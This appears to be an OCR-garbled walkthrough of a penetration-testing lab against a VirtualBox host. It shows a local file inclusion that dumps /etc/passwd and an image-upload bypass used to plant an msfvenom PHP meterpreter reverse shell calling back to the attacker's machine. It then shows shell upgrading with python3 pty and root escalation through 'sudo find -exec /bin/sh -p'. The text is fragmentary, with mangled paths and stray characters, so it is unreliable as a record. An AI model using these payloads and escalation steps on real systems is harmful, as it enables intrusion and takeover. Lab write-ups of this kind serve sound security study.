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Unable t \ o se DNS is disa
ervers with --dns-servers
Nmap scan re
Host is up (
Not shown: 999 c ¢
PORT STATE SERVICE
E tcp open  http
Address: @ t4E:59:46 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in @.35 seconds
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PHP File type check example X
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Select image :  Browse.. | Nofile selected.
Upload
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B Aii—TFlanguage, payloadZZik:

http://192.168.56.107/1language.php?lang=en.php
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A fetcfpasswd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin
/nologin sys:x:3:3:sys:/dev:fusr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr
/games:fusr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 1p:x:7:7:1p:/var/spool/lpd:fusr
/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/shin/nologin news:x:9:9:news:/var/spool/news:/fusr/sbin/nologin
uucp:x:10:10:uucp:fvar/spoolfuucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:fusr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/fusr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbhin/nologin irc:x:39:39:ircd:/var/run/ircd:fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbhin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run
/systemd/resolve:fusr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/runfuuidd:/usr/sbin/nologin avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-
autoipd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,;/var/lib/misc:fusr/sbin/nologin rtkit:x:109:114:RealtimeKit, ,,:/proc:/fusr/sbin
/nologin cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:fusr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsiex:112:117::/nonexistent:/bin/false kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:
fusr/sbin/nologin saned:x:114:119::/var/lib/saned:/usr/sbhin/nologin pulse:x:115:120:PulseAudio
daemon,,,:/var/frun/pulse:/usr/sbin/nologin avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:
fusr/sbin/nologin colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false geoclue:x:119:124::fvar/lib/geoclue:/usr/sbin
/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display
Manager:/var/lib/gdm3:/bin/false bassam:x:1000:1000:Bassam,,,:;/home/bassam:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false  language
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PHP File type check example X
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Select image :  Browse.. @ —&iEAD.php
Upload
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PHP File type check example X +

&« & @ 192.168.56.107

Select image :  Browse..  Nofile selected.

Upload

File is not image
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PHP File type check example - Mozilla Firefox

* PHP File type check ex

&«

upload Done
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i Fmsfvenom T A Ak 5

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.102 lport=1234 -o ~/Desktop/pwm/2/ma.php
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Select image :  Browse..  Nofile selected.
Upload

Uploaded !!!
name : uploads/ma.jpg
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ma.jpg (JPEG Image) x +
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The image “http:// 168.56.107/uploads/ma.jpg” cannot be displayed because it contains errors.

J& 3hmsfconsole

msfconsole

etasploit!

c<iliary - 344 post
rs - 1@ nops

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.102
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language

XANEHE, msfconsole it & [H i

whoai: not found

uploads

BE BIH —supersecret-for-azizZC &, #ENZ M

ARG, B, AT




&2z f 5 /false

nome Display Manager:/var/lib/gdm3:/bin/false

):1000:Bassam,,,:/home/bassam: /bin/bash
vboxadd:x:999:1:: /var/run/vboxadd: /bin/false
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run from a terminal
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BE %22 B A Pythondf 5%

/bin/sh: 9: python: not found
python3 -V
Py
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python3 -c

spawn( " /bin/bash")
tml/supersecre
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bassamgbassam-az ] itml/supersecret-f
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Msudo -l [B1 2 i 5 J5 5 17 H aT LS :

bassamH] /7 AT LA LME R 7 1) 5 6y 2 4 Al find iy &

sudo find . -exec /

F| F shelligg i

bassamgbassam-; :/var/www/html$ sudo find . ¢ /bin/sh -p \; -quit
sudo find . in/sh -p \; -quit
i bassam: Passwordl

[sudo] password for bassa

# whoami
whoami
ro
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